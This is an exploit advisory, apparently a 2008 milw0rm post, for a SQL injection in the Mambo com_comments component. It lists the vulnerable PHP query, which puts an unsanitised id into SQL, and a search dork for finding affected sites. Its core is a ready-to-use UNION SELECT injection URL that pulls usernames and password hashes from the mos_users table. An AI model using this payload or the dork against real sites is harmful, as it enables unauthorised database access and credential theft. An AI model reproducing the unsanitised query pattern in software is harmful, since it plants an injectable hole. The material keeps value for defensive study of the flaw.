37 lines
No EOL
1 KiB
Text
37 lines
No EOL
1 KiB
Text
#########################################################
|
|
##
|
|
## Mambo SQL Injection (com_comments)
|
|
##
|
|
## Version Affected: <= 0.5.8.5g
|
|
## Author: CheebaHawk215
|
|
## Home page: http://www.always420forum.com
|
|
##
|
|
#########################################################
|
|
##
|
|
## Dork: "Review Script", "Phil Taylor"
|
|
##
|
|
#########################################################
|
|
##
|
|
## Vulnerable Code:
|
|
##
|
|
##########################################################
|
|
|
|
|
|
$pt_query = "SELECT * FROM mos_content_comments where articleid=$id AND published=1 order by id DESC";
|
|
|
|
|
|
#########################################################
|
|
##
|
|
## Exploit:
|
|
##
|
|
#########################################################
|
|
|
|
|
|
http://site.com/index.php?option=com_comments&task=view&id=-1+UNION+SELECT+0,999999,concat(username,0x3a,PASSWORD),0,0,0,0,0,0+FROM+mos_users+union+select+*+from+mos_content_comments+where+1=1
|
|
|
|
|
|
|
|
## This is my first exploit!
|
|
## thanks to all who came before me, and enabled me to learn from their efforts!
|
|
|
|
# milw0rm.com [2008-02-09] |